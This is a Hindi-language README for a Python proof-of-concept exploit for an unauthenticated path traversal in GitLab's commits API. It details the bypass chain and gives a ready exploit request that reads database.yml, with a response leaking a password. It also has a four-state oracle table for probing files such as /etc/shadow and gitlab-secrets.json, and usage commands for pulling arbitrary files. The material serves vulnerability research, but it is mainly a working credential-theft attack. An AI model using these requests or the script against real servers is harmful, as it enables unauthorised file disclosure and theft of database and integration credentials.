
CVE-2026-85706 के लिए Python PoC, GitLab CE/EE Repository Commits API में एक unauthenticated path traversal जो चार-अवस्था oracle के माध्यम से मनमानी स्थानीय फ़ाइलों को लीक करता है।
GitLab का "create commit" API (POST /api/v4/projects/:id/repository/commits) एक ही अनुरोध में बड़ी मात्रा में फ़ाइल सामग्री भेजने की अनुमति देता है। अत्यधिक बड़े अनुरोध बॉडी को सीधे Rails पार्सिंग में जाने से रोकने के लिए, Workhorse पहले अनुरोध बॉडी को एक अस्थायी फ़ाइल में लिखता है, फिर file.path / file.size जैसे मेटाडेटा को अग्रेषित अनुरोध में इंजेक्ट करता है, और Rails एंडपॉइंट इन मापदंडों के अनुसार फ़ाइल को वापस पढ़ता है। भेद्यता श्रृंखला चार चरणों के संयोजन से बनती है:
post ':id/repository/commits' प्रवेश बिंदु में केवल require_gitlab_workhorse! है (केवल "Workhorse द्वारा अग्रेषित" की जाँच करता है), वास्तविक authenticate! बाद में authorize_push_to_branch! में छिपा है, और पथ ट्रैवर्सल पढ़ना इससे पहले होता है।file_params_from_body_upload सीधे अनुरोध मापदंडों file.path / file.size / Content-Type को Workhorse द्वारा इंजेक्ट किए गए मेटाडेटा के रूप में मानता है, मापदंडों के स्रोत में भेद नहीं करता, और File.read(file_path) किसी भी स्थानीय पथ को ट्रैवर्स कर सकता है।Content-Type=application/x-www-form-urlencoded होता है, तो फ़ाइल सामग्री Rack::Utils.parse_nested_query को पार्सिंग के लिए दी जाती है; सामग्री में अवैध %-अनुक्रम ArgumentError: invalid %-encoding (<घटक सामग्री>) को ट्रिगर करता है, जो bad_request! के माध्यम से 400 प्रतिक्रिया में ज्यों का त्यों प्रतिध्वनित हो जाता है। प्रतिध्वनि पहले आओ पहले पाओ के आधार पर होती है: & / = घटक सीमाएँ हैं, पार्सिंग पहले अवैध % वाले घटक पर रुक जाती है और उस घटक को प्रतिध्वनित करती है, विभाजक के बिना पूरी फ़ाइल एक घटक के रूप में प्रतिध्वनित होती है (वैध %xx हेक्स एस्केप त्रुटि ट्रिगर नहीं करते)।.../repository/commits\z से मेल खाता है), और नकली मापदंड डिस्क पर लिखी फ़ाइल सामग्री में निगल लिए जाते हैं। URL के अंत में / जोड़ने पर यह नियम मेल नहीं खाता, और यह फ़ॉलबैक साइन्ड रिवर्स प्रॉक्सी में चला जाता है — मूल अनुरोध बॉडी नकली मापदंडों सहित ज्यों की त्यों Rails को अग्रेषित होती है और वैध JWT ले जाती है, require_gitlab_workhorse! पास हो जाता है; Grape ट्रेलिंग स्लैश को सामान्य करने के बाद भी भेद्यता handler पर पहुँचता है।पूर्व शर्त: URL में :id एक वास्तविक मौजूद प्रोजेक्ट होना चाहिए (कोई भी सार्वजनिक प्रोजेक्ट पर्याप्त है), पूरी प्रक्रिया में लॉगिन की आवश्यकता नहीं।
शोषण अनुरोध (बाहरी DB परिनियोजन के अंतर्गत database.yml, जब पासवर्ड में अवैध % अनुक्रम हो तो पूरा खंड प्रतिध्वनित होता है):
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
प्रतिक्रिया (पहले अवैध % वाले घटक का पूरा खंड प्रतिध्वनित):
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
पढ़ना Puma प्रक्रिया के git उपयोगकर्ता के रूप में निष्पादित होता है, और प्रतिक्रिया एक चार-अवस्था oracle बनाती है:
डिफ़ॉल्ट परिनियोजन के अंतर्गत वास्तविक पठनीय सीमा (परीक्षणित):
% युक्त फ़ाइलें हैं: CI बिल्ड लॉग और आर्टिफैक्ट, उपयोगकर्ता द्वारा अपलोड किए गए अटैचमेंट, बाहरी DB परिनियोजन का database.yml। डिफ़ॉल्ट स्थानीय socket peer प्रमाणीकरण के अंतर्गत database.yml में पासवर्ड फ़ील्ड खाली होता है, केवल बाहरी DB परिनियोजन में ही मान होता है।gitlab.yml: रेंडर किए गए टेम्पलेट टिप्पणियाँ फ़ाइल के शीर्ष (लगभग पंक्ति 19) पर ही 95%, %{key} जैसे अनुक्रम रखती हैं, जबकि क्रेडेंशियल कॉन्फ़िगरेशन (incoming_email, LDAP, ऑब्जेक्ट स्टोरेज आदि) पंक्ति 170 के बाद हैं — पहले आओ पहले पाओ का अर्थ है कि डिफ़ॉल्ट परिनियोजन में केवल शीर्ष खंड प्रतिध्वनित हो सकता है, क्रेडेंशियल खंड पढ़ा नहीं जा सकता; केवल बिना हस्तक्षेप अनुक्रम वाले परिनियोजन वेरिएंट (कस्टम टेम्पलेट आदि) में पठनीय है। यह भी ध्यान दें कि SMTP पासवर्ड (gitlab_rails['smtp_password']) gitlab.yml में रेंडर नहीं होता, वास्तव में रेंडर होने वाले incoming_email, LDAP, object_store क्रेडेंशियल हैं।secrets.yml शुद्ध hex है जिसमें % नहीं है, सामग्री पढ़ी नहीं जा सकती (401); gitlab.rb, TLS निजी कुंजियाँ, बैकअप आर्काइव root-only हैं (केवल 500 oracle)।Python 3 मानक लाइब्रेरी में कार्यान्वित, कोई तृतीय-पक्ष निर्भरता नहीं। स्क्रिप्ट उपरोक्त तालिका के अनुसार चार-अवस्था परिणामों की स्वचालित व्याख्या करती है।
python3 exploit.py -t http://<target>:<port> # डिफ़ॉल्ट रूप से gitlab.yml पढ़ता है (त्वरित प्रतिध्वनि सत्यापन)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
उदाहरण आउटपुट (डिफ़ॉल्ट परिनियोजन में gitlab.yml पढ़ना — प्रतिध्वनि शीर्ष खंड की होती है, क्रेडेंशियल खंड की नहीं):
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
केवल अधिकृत सुरक्षा परीक्षण और भेद्यता अनुसंधान के लिए।
| प्रतिक्रिया | अर्थ | उदाहरण |
|---|
400 local file not present | फ़ाइल मौजूद नहीं है | /etc/nonexistent |
500 Internal Server Error | मौजूद है लेकिन git उपयोगकर्ता के पास पढ़ने की अनुमति नहीं (Errno::EACCES अनुपचारित); multipart शाखा में पठनीय फ़ाइलों की पार्सिंग त्रुटियाँ भी 500 में जाती हैं | /etc/shadow, /etc/gitlab/gitlab-secrets.json |
401 Unauthorized | मौजूद है और पठनीय है, लेकिन सामग्री में अवैध % अनुक्रम नहीं है, प्रतिध्वनित नहीं होती | /etc/passwd, /proc/self/environ |
400 invalid %-encoding (<सामग्री>) | मौजूद है, पठनीय है और अवैध % अनुक्रम शामिल है — संबंधित घटक का पूरा खंड प्रतिध्वनित होता है | % युक्त लॉग, CI बिल्ड आर्टिफैक्ट, बाहरी DB का database.yml |
/proc/self/* प्रक्रिया आत्म-निरीक्षण, प्रोजेक्ट ID के अनुसार @hashed पथ की गणना करके निजी प्रोजेक्ट की उपस्थिति का पता लगाना।| पैरामीटर | विवरण |
|---|
-t | लक्ष्य GitLab पता (आवश्यक), जैसे http://<target>:<port> |
-f | पढ़ने के लिए पूर्ण पथ (डिफ़ॉल्ट /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) |
-p | प्रोजेक्ट ID, कोई भी वास्तविक मौजूद प्रोजेक्ट पर्याप्त है (डिफ़ॉल्ट 1) |
-o | पढ़ी गई सामग्री को स्थानीय फ़ाइल में सहेजें |